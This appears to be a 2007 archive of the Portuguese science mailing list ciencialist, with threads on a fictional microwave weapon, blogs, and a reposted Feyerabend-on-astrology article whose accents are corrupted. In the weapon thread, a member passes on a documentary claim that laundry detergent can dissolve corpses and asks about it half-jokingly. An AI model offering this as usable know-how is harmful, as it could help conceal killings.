> mesma idéia é a base dos microondas caseiros, que esquentam somente a
> comida (gordura + água), não atuando nos movimentos da moléculas
> (temperatura) do recipiente.
> No seriado a arma foi usada dentro de uma igreja. As pessoas que
> estavam em seu interior foram literalmente "fritas". A igreja não
> sofreu nunhum arranhão e ficou intacta.
>
> A pegunta éa seguinte: É possível gerar um campo numa frequência
> programada dessa magnitude? Quais são as limitações para que isso
> ocorra? É possível que, futuramente, existam armas baseadas em
> conceitos aqui descritos?
>
> Um abraço,
>
> Emanuel Valente.
>
> obs: Desculpem pelo email anterior: "Não usem o gmail utilizando o
> navegador safari"
>
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> Página de apoio
> http://www.ciencialist.com
>
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> Links do Yahoo! Grupos
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> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.476 / Virus Database: 269.10.1/888 - Release Date: 06/07/2007
06:36
>
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/07/2007 11:55

Blogs são o futuro! No futuro haverá pequenos deuses com super-poderes
individuais, não um único deus com todos os super-poderes. Precisamos
democratizar a divindade!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 06, 2007 7:44 PM
Subject: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia


Um texto desses só é "aprovado" se publicado no Imperdível; essa coisa de
blog é apenas um passo à frente da ' auto ajuda'!
"Venha a mim os "pequeninos', porque deles será o reino do Léo".
Não sei porque vcs querem um blog para o Imperdível; o Imperdível é ... e
sempre será ...o Imperdível!
Sabem por que?
É simples, não tem propaganda e nem fins comerciais, não tem estrutura
complexa, é modesto, de qqer página vc pode se transferir para outra Sala,
não mente, não é polêmico sarcástico, é básico, é puro em seus propósitos,
aceita correções, aceita comentários (e os publica), é produto de anos de
janela em salas de aulas, é produto de alguém que se preocupa com o
professor atual e seus conhecimentos básicos, é conceitual, apresenta
projetos que todas as escolas deveriam ter, é espontâneo, é assim! ...
basta consultá-lo periodicamente e observar quanto tempo diário dedico a
isso, sem qqer esperança de retorno 'político', 'governamental' ou algo do
gênero para alavancar uma alteração no quadro atual. Nossa educação atual
está uma bosta ... saliento, uma bosta ... e acho que só pode piorar! Como?,
virar diarréia?
No futuro, meu site (if existir) será consultado como 'saudosismo' do "tempo
que era assim" e dirão ... "naquele tempo, vejam que absurdo, eles queriam
que nós fizéssemos alguns montagens em casa para verificar alguns efeito
básicos de física clássica, nem tinham idéia dos hologramas 'sólidos' dos
tempos atuais ... acho que não perceberam o médico do 'Voyager'(?) dos
tempos da ficção científica das Jornadas das Estrelas" ... "Imaginem só,
eles chegaram a acreditar na física quântica, do mesmo modo quando, no
paleolítico, acreditaram no calórico."

Quem viver verá ....

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 6 de julho de 2007 18:16
Assunto: [ciencialist] Re: Ernst Mayr e a filosofia da biologia


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Conclusão: Biologia não tem abstração! Em biologia, nada é simples!
> Biologia (ainda, e por bom tempo) não é ciência hard. Chegarão lá!

Opa! A teoria da evolução por seleção natural é altamente abstrata.
Pode ser usada até mm para construir algoritmos (algoritmos genéticos).

Os fatores mendelianos eram puramente abstratos até alguém se dar
conta de q se comportavam exatamente como os cromossomos na meiose.

De fato a Biologia não é ainda uma ciência hard, mas as bases da
Biomática (a Biologia como ciência exata) estão lançadas -
provavelmente faremos uso intensivo de grafos e outras "abstrações"
matemáticas.

Minha pequena contribuição para a abstração do q se refere a uma das
características mais marcantes dos sistemas vivos, a reprodução:

http://www.geocities.com/biomabrasil/auto-replicacao.html

[]s,

Roberto Takata




SUBJECT: RES: [ciencialist] Re: A sociedade como soma de indivíduos
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/07/2007 11:56

Léo,



Lí o seu comentário, que está muito bom e com o qual concordo. Lí também
os demais comentários, que são bobagens após bobagens. Tem uma coisa:
você não vai virar churrasco porque Torquemada foi demitido. Mas deverá ser
excomungado. Tinha muita graça, expressar tamanha heresia e ficar por isso
mesmo!

Um detalhe: naquele quadro que aparece no início da página, há um
personagem, nu, exibindo, artísticamente, um bilau menor que o de uma
pulga, descansando em berço esplêndido, de ladinho. E, além disso, com os
oinhos revirados e tocando com seu dedinho, com a mãzinha assim, assim,
desmunhecando, no dedinho do velhinho do outro lado? E ali tem disso
também, é?

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: sexta-feira, 6 de julho de 2007 20:17
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: A sociedade como soma de indivíduos



Deixei lá meu modesto comentário:

http://blog.estadao.com.br/blog/guterman/?blog=33
<http://blog.estadao.com.br/blog/guterman/?blog=33&c=1&page=1&more=1&title=v
aticano_reclama_maravilhas_do_mundo_ign&tb=1&pb=1&disp=single>
&c=1&page=1&more=1&title=vaticano_reclama_maravilhas_do_mundo_ign&tb=1&pb=1&
disp=single

E já está on-line ... vejamos as pedradas!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br
<mailto:roberto.takata%40bol.com.br> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sexta-feira, 6 de julho de 2007 19:33
Assunto: [ciencialist] Re: A sociedade como soma de indivíduos

--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "rmtakata" <roberto.takata@...>
> Esse pessoal adora uma lista...

Um grupo q não gostou da lista das novas maravilhas:

Vaticano reclama: Maravilhas do Mundo ignoram cristandade
http://blog.estadao.com.br/blog/guterman/?title=vaticano_reclama_maravilhas_
do_mundo_ign
<http://blog.estadao.com.br/blog/guterman/?title=vaticano_reclama_maravilhas
_do_mundo_ign&more=1&c=1&tb=1&pb=1> &more=1&c=1&tb=1&pb=1

[]s,

Roberto Takata

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SUBJECT: Re: Ernst Mayr e a filosofia da biologia
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/07/2007 15:24

Salve, Augusto!

Eu preciso mesmo de uma coisa bem simples, pois sou um jumento
informático (FTP, HTML... O que significam essas siglas?). A minha
relação com o meu computador é mais ou menos a mesma daquele cara
que, há duas décadas atrás, tinha um "três em um" em casa, mas que,
por "ingnorança", só "acessava" rádios AM.

Não fique chateado com aquela minha "crítica" ao seu blog (é blog,
né?). Apenas, de repente, você ficou sério demais (opinião de um
escrachado).

E, por falar em Rodrigo Constantino, de vez em quando posto uma
mensagem no blog dele. Gosto do Rodrigo (na verdade, gosto de todas
as pessoas inteligentes que pensam diferente de mim), porém acho que
ele precisa de uma cutucada para perceber que existe vida fora dos
esquemas teóricos; que se aferrar à antiga polarização esquerda-
direita (como Olavo, Chávez, Stedile etc.) é algo típico de alma
penada que subsite neste limbo que é o navio-fantasma da guerra fria;
que os termos "esquerdista" e "direitista" são ficções idiotas,
fantasmagorias que somente existem graças ao ectoplasma emanado das
fantasias paranóides - até porque todas as visões do mundo
(cristianismo, anarquismo, socialismo, liberalismo etc.) sempre
manifestaram versões de esquerda, centro e direita. Quando ao
liberalismo, por exemplo, existe um liberalismo de esquerda que não é
novo: Benedetto Croce, Raymond Aron, Norberto Bobbio, Bertrand
Russell, John Rewls e muitos outros).

Bem, acabou de chegar visita aqui em casa. Adispôs eu escrevo mais.

abração,
Manuel Bulcão
___________

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
<alvaro@...> escreveu
>
> Caro Manuel,
>
> O meu site e o do Rodrigo Constantino são "parecidos" porque usamos
os
> recursos gratuitos do "Blogger" (http://www.blogger.com). Após
algum tempo,
> tive que me render e comecei a divulgar minhas idéias por meio de
um blog,
> em vez de um site editado manualmente, atualizado via FTP, etc. Não
é
> preciso muito conhecimento de HTML e a atualização é bem mais
> fácil (na versão mais básica, não é necessário conhecimento algum
de HTML).
> Além disso, o fato dos blogs trabalharem automaticamente com feeds
os torna
> mais adequados à divulgação. Se você quer divulgar seus livros e
textos,
> recomendo.
>
> [ ]s
>
> Alvaro Augusto
>
>
>
> ----- Original Message -----
> From: "Manuel Bulcão" <manuelbulcao@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, July 03, 2007 1:55 AM
> Subject: [ciencialist] Re: Ernst Mayr e a filosofia da biologia
>
>
> Salve, Augusto!
>
> Gostei muito do seu artigo. Realmente, esse negócio de reduzir toda
a
> epistemologia à metodologia da Física é típico dos adeptos do
> reducionismo "vulgar" (acrescentei o adjetivo "vulgar" porque existe
> um outro tipo de reducionista não tão limitado, filosoficamente
> falando, como é o caso do Steven Weinberg).
>
> O próprio Popper, de fato, reduziu o cientista a um "tipo ideal"
> (expressão de Weber): um sujeito cognoscente "abstrato" - um "puro
> espírito" altruísta, desprovido de carne, ossos e paixões - que,
para
> o bem da nobre objetividade científica, torce para que a hipótese
que
> ele passou anos elucubrando seja falseada por seus pares. Essa
> idealização foi denominada por Philip Kitcher de "o mito da lenda".
> Nenhum adepto de Popper, hoje, leva isso a sério. O que se deve
> exigir do cientista - para que mereça esse título - é a valentia de
> expor sua conjectura à crítica e de "defendê-la" com as unhas e os
> dentes dos fatos e das demonstrações lógicas.
>
> Só não gostei de uma coisa: do novo desenho do seu website. Tá muito
> parecido com o do Rodrigo Constantino. Prefiro aquele outro em que,
> quando a gente clicava a seta do mouse na sua fotografia, você
> gritava "oh!" :-)
>
> Abraços,
> Manuel Bulcão
>




SUBJECT: Re: [ciencialist] armas do futuro
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/07/2007 19:51

Mori:

Hidrogênio líquido.

Já coloquei um rato imerso no hidrogênio, quando tirei, foi jogado no chão e desintegrou como se fosse vidro....

sds.,

silvio.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, July 07, 2007 11:17 AM
Subject: RES: [ciencialist] armas do futuro


Mori,

>"Qual seria o sabão em pó mais indicado para dissolver cadáveres?"

Sei mas não digo. Quer fazer concorrência às Empresas de fornos
crematórios, é?

Talvez o cadáver sofra menos... Fogo é foogo...

Brincadeira.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Kentaro Mori
Enviada em: sexta-feira, 6 de julho de 2007 23:42
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] armas do futuro

No Japão, a seita Aum Shinrikyo -- que lançou gás sarin no metrô de
Tóquio em 1995 -- também desenvolveu um microondas gigante (em um
recinto fechado) com o qual pôde matar e destruir os restos mortais de
um advogado contrário ao culto, entre outras peripécias.

Isso segundo relatos de jornais, não sei se é mesmo factual, mas não
duvido muito. É a mesma seita que adorava as obras de Asimov.

Nessa vertente mórbida, algo interessante que vi em um documentário:
todos devem conhecer o caso do assassino inglês que dissolvia os
corpos das vítimas em ácido -- isso há décadas, quando um sujeito
ainda podia conseguir galões de ácido sem levantar tantas suspeitas.
No final ele foi pego porque as pedras nos rins de uma das vítimas,
bem como sua bolsa, não dissolveram.

No documentário, mostraram que hoje em dia uma alternativa seria...
sabão em pó, de lavar roupas mesmo. Com sua "dupla ação", ou ,melhor,
suas enzimas e afins, a solução de água com sabão em pó seria capaz de
dissolver tecidos macios em alguns dias, restando apenas os ossos.

Fizeram uma demonstração, que funcionou. O pessoal da ciencialist
poderia comentar mais sobre o tema? T.A.K.A.T.A.?

Qual seria o sabão em pó mais indicado para dissolver cadáveres?
Cometer esse OMOcídio (genial, hein? hein?)?

Abraços,

Mori

On 7/6/07, Luiz Ferraz Netto <leobarretos@uol.com.br
<mailto:leobarretos%40uol.com.br> > wrote:
> Microondas, tipo forno de microondas, é um sistema confinado, pequeno e
modesto, e necessita de uma válvula 'klinston' e guia de ondas para atuar
sobre aquele minúsculo sistema fechado. Além disso, as ondas têm freqüência
fixa para 'modular' a molécula da água sendo, portanto, inativas às demais
moléculas.
> "Fritar" um corpo humano, via microondas, é realmente uma ficção; a
abertura da faixa de atuação é enorme! Além do que, a potência de tal
dispositivo, num volume tão amplo (igreja), é algo bem distante da
tecnologia dos microondas.
> Se bem que, se aplicado numa igreja, as divindades protetoras (deuses)
iriam, rapidamente, envolver os fiéis num campo de contenção (escudos
divinos) e eles nada sofreriam. A fé os protegeriam de todos esses ataques
da produção científica (hic!). Que tal? Gostou?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Emanuel Valente" <emanuelvalente@gmail.com
<mailto:emanuelvalente%40gmail.com> >
> Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
> Enviada em: sexta-feira, 6 de julho de 2007 20:09
> Assunto: [ciencialist] armas do futuro
>
> Olá a todos!
> Alguém da lista já deve ter assistido ao seriado ALIAS, que passava na
> axn e um pouco no sbt. Em um dos episódios é desenvolvida uma arma
> baseada em princípos eletromagnéticos.
> Vejam como era seu funcionamento: Ela gerava um grande campo
> eletromagnético numa frequência de 2,5ghz. O interessante é que nessa
> frequência as ondas são absorvidas por gordura, água e açucar. Essa
> mesma idéia é a base dos microondas caseiros, que esquentam somente a
> comida (gordura + água), não atuando nos movimentos da moléculas
> (temperatura) do recipiente.
> No seriado a arma foi usada dentro de uma igreja. As pessoas que
> estavam em seu interior foram literalmente "fritas". A igreja não
> sofreu nunhum arranhão e ficou intacta.
>
> A pegunta éa seguinte: É possível gerar um campo numa frequência
> programada dessa magnitude? Quais são as limitações para que isso
> ocorra? É possível que, futuramente, existam armas baseadas em
> conceitos aqui descritos?
>
> Um abraço,
>
> Emanuel Valente.
>
> obs: Desculpem pelo email anterior: "Não usem o gmail utilizando o
> navegador safari"
>
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06:36
>
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: UMA LEITURA DE PAUL FEYERABEND
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 08/07/2007 01:08

UMA LEITURA DE PAUL FEYERABEND A rela��o de poder entre
Astrologia e Ci�ncia Cristina Machado

A condena��o da Astrologia por muitos cientistas n�o � fruto da aplica��o
rigorosa de m�todos de investiga��o, mas sim da imposi��o autorit�ria de um
�nico sistema de pensamento. Quem afirma isso � o fil�sofo Paul Feyerabend,
um dos arautos da nova filosofia da ci�ncia.
Resumo

Paul Feyerabend colaborou para a fal�ncia dos modelos normativos,
desmistificando o m�todo cient�fico. Extremamente pol�mico, principalmente
por tratar de assuntos pouco usuais - como a astrologia -, para ele, a
ci�ncia n�o � o �nico e nem o melhor sistema de pensamento desenvolvido pelo
homem, tendo sido alavancada a um estatuto de superioridade por for�as
hist�ricas que decretaram o que deveria ser o padr�o de conhecimento. Dessa
maneira, o problema da demarca��o entre ci�ncia e n�o-ci�ncia - como � o
caso da discuss�o sobre a cientificidade da astrologia - tende a se tornar
obsoleto, pelo menos do ponto de vista "puramente" epistemol�gico, passando
a ser entendido como uma quest�o �tico-pol�tica.
Introdu��o Paul Karl Feyerabend (Viena, 13 de janeiro de 1924 � Genolier,
11 de fevereiro de 1994) foi um fil�sofo austr�aco que viveu em diversos
pa�ses como Reino Unido, Estados Unidos, Nova Zel�ndia, It�lia e Su��a. Seus
maiores trabalhos s�o Against Method (publicado em 1975), Science in a Free
Society (publicado em 1978) e Farewell to Reason (uma cole��o de artigos
publicados em 1987). Feyerabend tornou-se famoso pela sua suposta vis�o
anarquista da ci�ncia e por sua rejei��o da exist�ncia de regras
metodol�gicas universais. � uma figura influente na filosofia da ci�ncia, e
tamb�m na sociologia do conhecimento cient�fico. (fonte: *Wikipedia*)

A partir de 1962, com a publica��o de *A estrutura das revolu��es
cient�ficas*, de Thomas Kuhn, come�a a surgir um h�brido que re�ne a fun��o
normativa [1] da filosofia da ci�ncia e a fun��o descritiva da hist�ria da
ci�ncia. Entretanto, a insufici�ncia disciplinar da filosofia da ci�ncia j�
fora detectada por Kuhn, que, para entender como a ci�ncia progride,
substituiu a preocupa��o com a estrutura l�gica pela hist�rica. A partir de
ent�o, torna-se muito dif�cil sustentar o limitado modelo
normativo-demarcacionista, pois ele n�o d� conta de responder *a priori* o
que � ci�ncia, como indica a an�lise dos crit�rios de demarca��o entre
ci�ncia e n�o-ci�ncia propostos ao longo do s�culo XX [2]. E se n�o � *a
priori* que se define o que � ci�ncia, n�o se trata, ent�o, de um modelo
normativo. Afinal, como ser normativo *a posteriori*? Cabe, portanto, uma
abordagem hist�rica, descritiva, *a posteriori*, para se demarcarem os
dom�nios cient�ficos.

Paul Feyerabend, um dos arautos da nova filosofia da ci�ncia, colaborou para
a fal�ncia dos modelos normativos, desmistificando o m�todo cient�fico. Para
ele, n�o h� crit�rios absolutos de cientificidade e nem um m�todo �nico para
a ci�ncia, mas sim pluralismo metodol�gico. Podemos entender o pluralismo
como a possibilidade de se tomar cada coisa como aparece, tentando trat�-la
em seus pr�prios termos. No caso da ci�ncia, ela n�o se limita a modelos
metodol�gicos, epistemol�gicos e ontol�gicos dados de antem�o, e as apostas
do pluralismo de Feyerabend s�o na liberdade e na criatividade humanas. Al�m
disso, uma de suas principais reflex�es diz respeito ao estatuto da ci�ncia:
o que ela tem de t�o especial? Para Feyerabend, a ci�ncia n�o � o �nico e
nem o melhor sistema de pensamento desenvolvido pelo homem, tendo sido
alavancada a um estatuto de superioridade por for�as hist�ricas, violentas,
que usurparam o poder e decretaram o que deveria e o que n�o deveria ser o
padr�o de conhecimento. Dessa maneira, o problema da demarca��o entre
ci�ncia e n�o-ci�ncia tende a se tornar obsoleto, pelo menos do ponto de
vista "puramente" epistemol�gico, passando a ser entendido como uma quest�o
�tico-pol�tica.

No contexto da querela normativo-demarcat�ria, o caso da astrologia � citado
diversas vezes, de maneira geral como exemplo de pseudoci�ncia. Feyerabend,
como veremos, � a voz dissonante, especialmente no texto "O estranho caso da
astrologia". Taxado de relativista, assim como Kuhn e outros, talvez
possamos entender Feyerabend e toda a nova filosofia da ci�ncia como
proponentes de uma nova forma de racionalidade cient�fica: uma racionalidade
contextualizada, quer seja associada a paradigmas (Kuhn), programas de
pesquisa (Lakatos) ou tradi��es de pesquisa (Laudan). Num sentido mais
amplo, uma racionalidade associada a uma cultura. Assim, em vez de um
contradit�rio "tudo � relativo" (se tudo � relativo, ent�o esta afirma��o
tamb�m � relativa), pois "o homem � a medida de todas as coisas", podemos
pensar em algo assim: a comunidade � a medida de todas as coisas que lhe
dizem respeito, pois � no seu interior que se definem os conceitos e que se
tecem as redes sem�nticas que emprestar�o significado ao mundo. Crit�rios,
m�todos, padr�es e regras s� fazem sentido, portanto, num dado contexto,
pois s� se constituem e tamb�m se modificam com o uso, n�o sendo
estabelecidos *a priori *(Feyerabend, 2001, pp.56-57).

O problema do relativismo cient�fico, ou seja, da n�o-exist�ncia de
crit�rios intr�nsecos � ci�ncia que nos conduzam a uma escolha racional,
universal e atemporal, leva-nos � seguinte quest�o: como justificar a
ci�ncia da maneira usual, com pretens�es de verdade, universalidade e
neutralidade, numa sociedade plural em que tanto verdade quanto falsidade
podem ser explicadas racionalmente? Ou seja, se as verdades s�o datadas - o
que � verdade aqui e agora pode n�o s�-lo amanh� ou em qualquer outro
tempo/espa�o -, ent�o n�o h� mais como justificar a ci�ncia dessa maneira,
pois os modelos normativos de filosofia da ci�ncia, bem como quaisquer
outros sistemas de pensamento totalizantes, foram colocados em xeque pelo
pluralismo, que � fruto das no��es modernas de liberdade e democracia. Nesse
sentido, podemos, nos termos de Feyerabend, pensar num relativismo
democr�tico (Feyerabend, 1981, pp.28-33) ou num pluralismo cultural, em vez
de uma admir�vel monotonia nova (Feyerabend, 1987, p.273), na qual se imp�em
abstra��es e estere�tipos - numa palavra, uniformiza��o -, em detrimento da
criatividade humana, da diferen�a cultural e da abund�ncia do ser [3].

Partindo do princ�pio de que a ci�ncia se instituiu pela for�a, assim como a
pr�pria cultura ocidental [4], e n�o por sua pretensa superioridade
epistemol�gica, metodol�gica ou ontol�gica, � poss�vel entender, junto com
Feyerabend, o exerc�cio de poder da ci�ncia sobre todos os outros sistemas
de pensamento. E � disso que trataremos aqui, da arrog�ncia do poder
estabelecido em rela��o � astrologia, que, com o advento da ci�ncia moderna,
passou a uma condi��o de marginalidade, porque todas as apostas se viraram
contra ela. S� para citar alguns fatos que ilustram essa postura impositiva:
1) a cria��o da Academia de Ci�ncias por Colbert, em 1666, sem incluir a
astrologia [5]; 2) o decreto de Lu�s XIV, em 1682, condenando a difus�o dos
almanaques astrol�gicos; 3) a proibi��o, a partir de 1710, da impress�o das
Efem�rides e das t�buas de casas; e 4) o manifesto de 186 cientistas contra
a astrologia, em 1975, que analisaremos mais adiante.

Dessa maneira, � poss�vel esclarecer finalmente que a rela��o entre
astrologia e ci�ncia � uma rela��o de poder - uma for�a pol�tica -, bem como
o problema da demarca��o entre ci�ncia e n�o-ci�ncia, nada tendo a ver com
crit�rios epistemol�gicos.

[1] Entenda-se fun��o normativa como a perspectiva disciplinar da filosofia
da ci�ncia, com sua pretens�o demarcacionista de delimitar o dom�nio da
ci�ncia e de definir como esta deve proceder para ser ci�ncia.

[2] Grosso modo, os crit�rios propostos s�o: verificabilidade (positivismo
l�gico), refutabilidade (Popper), ci�ncia normal (Kuhn) e ci�ncia madura
(Lakatos). Para mais informa��es, remeto o leitor � minha disserta��o de
mestrado *Sobre a fal�ncia dos modelos normativos de filosofia da ci�ncia -
a astrologia como um estudo de caso* (PUC-Rio, 2006), onde fa�o uma an�lise
detalhada dos crit�rios de demarca��o.

[3] Em seu �ltimo livro, recentemente lan�ado no Brasil, *A conquista da
abund�ncia*, Feyerabend se det�m no que ele chama de "conto da abstra��o
versus a riqueza do ser", ou seja, a tend�ncia crescente, no desenvolvimento
da cultura ocidental, de usar abstra��es e estere�tipos, desconsiderando o
particular e o detalhe.

[4] Podemos pensar em for�as mais violentas, como as Cruzadas, a
catequiza��o do Novo Mundo e a recente moda de impor a democracia, o modelo
econ�mico e as suas respectivas formas de vida a outros povos, mas tamb�m em
for�as mais dissimuladas, como a difus�o de uma vis�o de mundo uniforme e as
pr�ticas cada vez mais definidas por uma elite tecnocient�fica que determina
quem tem prest�gio e poder na sociedade.

[5] Essa decis�o pol�tica comp�e o cen�rio de um "projeto" de modernidade,
cujo ideal de reflex�o aut�noma do sujeito, � iniciado por Descartes. As
formas de pensamento baseadas na semelhan�a - como � o caso de, pelo menos,
parte da astrologia - n�o estavam inclu�das nesse projeto (Foucault, 2000,
p.10).


A rela��o de poder entre
Astrologia e Ci�ncia Cristina Machado

In�cio do artigo<http://www.constelar.com.br/constelar/109_julho07/feyerabend1.php>|
Parte 2
Feyerabend: *l'enfant terrible* da filosofia da ci�ncia

O anarquismo de Feyerabend afirma que n�o h� crit�rios absolutos de
cientificidade, favorece uma metodologia pluralista e mostra a
irracionalidade do racionalismo e a razoabilidade do irracionalismo.
Aproxima-se, assim, do relativismo. No entanto, em sua autobiografia, ap�s
uma reflex�o sobre as conseq��ncias pol�ticas dessa posi��o relativista, ele
admite que n�o s� o relativismo, mas tamb�m o objetivismo, "s�o maus guias
para uma colabora��o cultural frut�fera" [6] (Feyerabend, 1996, p.160). Ele
passa a desconsiderar a id�ia de que haja culturas fechadas com seus
crit�rios e procedimentos, posto que elas interagem e se transformam,
chegando "� conclus�o de que toda cultura � potencialmente todas as
culturas, e que as caracter�sticas culturais espec�ficas s�o manifesta��es
mut�veis de uma �nica natureza humana" (ibid., p.159). O anarquismo, por sua
vez, continuou sendo defendido por Feyerabend, pois ele acreditava que a
ci�ncia � uma institui��o extremamente complexa e dispersa para ser reduzida
a teorias e regras simples [7].

Em sua obra mais conhecida, *Contra o M�todo*, ele afirma que o anarquismo
pode estimular mais o progresso do que as metodologias tradicionais, que s�o
estabelecidas previamente, por meio de uma educa��o cient�fica adestradora,
sem considerar as constantes transforma��es hist�ricas, resultando numa
"pasteuriza��o", ou seja, os "germes" de intui��o, imagina��o, linguagem,
opini�o, cren�a e forma��o cultural s�o gradativamente neutralizados. Para
ele, os resultados obtidos por outros m�todos devem ser considerados, e �
justamente isso que vai garantir a liberdade e a possibilidade de descobrir
os segredos da natureza e do homem (Feyerabend, 1977, pp.21-22).

O problema do m�todo torna-se �bvio ao se observar que, historicamente, s�
h� progresso se as regras metodol�gicas forem violadas volunt�ria ou
involuntariamente. Feyerabend afirma, ent�o, que o que h� em ci�ncia � o
"tudo vale". A vantagem desse "princ�pio" � que ele pode ser aplicado
sempre, dado que mesmo uma ci�ncia "bem ordenada" s� tem �xito se, vez por
outra, adotar procedimentos an�rquicos. Nos termos de Feyerabend, "'tudo
vale' n�o � um princ�pio que eu defendo, [...] mas a aterrorizada exclama��o
de um racionalista que olha mais de perto a hist�ria" (Feyerabend, 1993a,
p.VII). Dessa maneira, defende o pluralismo por consider�-lo mais saud�vel
para a ci�ncia, j� que a liberdade e a possibilidade de cr�tica s�o
inerentes a tal princ�pio.

Alguns autores, como Roland Omn�s, consideram justa, por�m �bvia, a cr�tica
de Feyerabend � exist�ncia de um m�todo na constru��o da ci�ncia:

De fato, � perfeitamente claro que a posse de um m�todo que permitisse
revelar a intimidade do Real pressuporia, de algum modo, um conhecimento do
Real j� quase perfeito. N�o existe um m�todo para tra�ar de antem�o um
itiner�rio em terra desconhecida. [...] O m�todo a que nos referimos � o que
permite compreender como podemos reconhecer *retrospectivamente* se uma
ci�ncia est� firmemente estabelecida e se ela chegou a um conhecimento *
coerente* (Omn�s, 1997, pp.273-274).

Cabe destacar aqui que, quando Omn�s fala de um m�todo para "reconhecer
retrospectivamente" a coer�ncia de uma determinada ci�ncia, o que est� em
jogo � a reconstru��o racional dessa ci�ncia, ou seja, trata-se de um m�todo
para a hist�ria da ci�ncia e n�o para a ci�ncia propriamente dita, assim
como se v� em Laudan (1977) e tamb�m em Kuhn (1996) e Lakatos (1979). O que
ele considera �bvio, mas talvez n�o seja tanto assim, � a cr�tica de
Feyerabend � id�ia de um m�todo universal para a pr�pria ci�ncia, que era o
ideal positivista, tamb�m adotado por Popper, para quem a filosofia
forneceria um m�todo que envolveria, entre outras coisas, um crit�rio a
priori para determinar se uma teoria � cient�fica ou n�o.

Ainda no *Contra o M�todo*, Feyerabend faz uma an�lise minuciosa das
observa��es de Galileu e dispara: "Galileu domina em raz�o de seu estilo e
de suas mais aperfei�oadas t�cnicas de persuas�o, porque escreve em italiano
e n�o em latim e porque recorre a pessoas hostis, por temperamento, �s
velhas id�ias" (Feyerabend, 1977, p.221). Dessa maneira, para Feyerabend, a
ci�ncia moderna s� p�de se desenvolver pois os m�todos racionais foram
postos de lado.

� importante destacar essa concep��o de ci�ncia proposta por Feyerabend.
Para ele, a ci�ncia � uma das formas de pensamento desenvolvidas pelo homem,
n�o sendo melhor nem pior que nenhuma outra, por exemplo, o mito. Portanto,
a querela entre mito e ci�ncia n�o tem vencedores. Essa posi��o rendeu-lhe
cr�ticas, mas manteve-se fiel a ela at� o fim de sua vida:

N�o h� um senso comum, mas v�rios [...]. Tampouco h� somente uma forma de
conhecimento - a ci�ncia -, mas muitas outras e (antes de serem destru�das
pela Civiliza��o Ocidental) eram eficazes no sentido em que mantinham as
pessoas vivas e tornavam compreens�veis suas exist�ncias. A pr�pria ci�ncia
tem partes conflitantes com diferentes estrat�gias, resultados, ornamentos
metaf�sicos. Ela � uma colagem, n�o um sistema (Feyerabend, 1996, p.111).

Feyerabend afirma que admitir a ci�ncia como uma forma de pensamento
superior s� pode ser fruto de uma certa ideologia, e que a escolha de uma
ideologia deve caber ao indiv�duo. Logo, assim como Estado e Igreja se
separaram, � necess�rio que Estado e Ci�ncia tamb�m se separem, para que,
dessa maneira, talvez alcancemos "a humanidade de que somos capazes, mas que
jamais concretizamos" (Feyerabend, 1977, p.447). Ele ainda vai mais longe,
questionando: se podemos escolher a forma��o religiosa dos nossos filhos,
por que tamb�m n�o podemos escolher o que eles v�o estudar na escola? Por
que a f�sica, a qu�mica e a biologia devem ser estudadas, e a astrologia,
por exemplo, deve ser menosprezada (ibid., p.456)? N�o h� motivo para isso,
dado que as id�ias de neutralidade, independ�ncia do contexto etc. se
revelaram um conto de fadas. O an�ncio de uma lei cient�fica se parece mais
com um decreto jur�dico, com a diferen�a que, numa democracia, supostamente
se tenta esclarecer o processo, enquanto, na ci�ncia, acaba havendo
sectarismo e distor��o. � claro que podemos considerar ut�pica essa vis�o de
democracia, mas o ataque de Feyerabend contra o dogmatismo da ci�ncia �
bastante pertinente. Segundo ele, � poss�vel notar que a concep��o de
ci�ncia como um empreendimento livre e aberto tornou-se obsoleta quando ela
"deixou de ser uma necessidade filos�fica e converteu-se num neg�cio"
(Feyerabend, 1993b, p.10). Como exemplo, ele cita a corrida para o Pr�mio
Nobel, que diminui a comunica��o entre os cientistas. Para Feyerabend, a
democracia � a forma de controle p�blico � qual a ci�ncia deve se submeter:

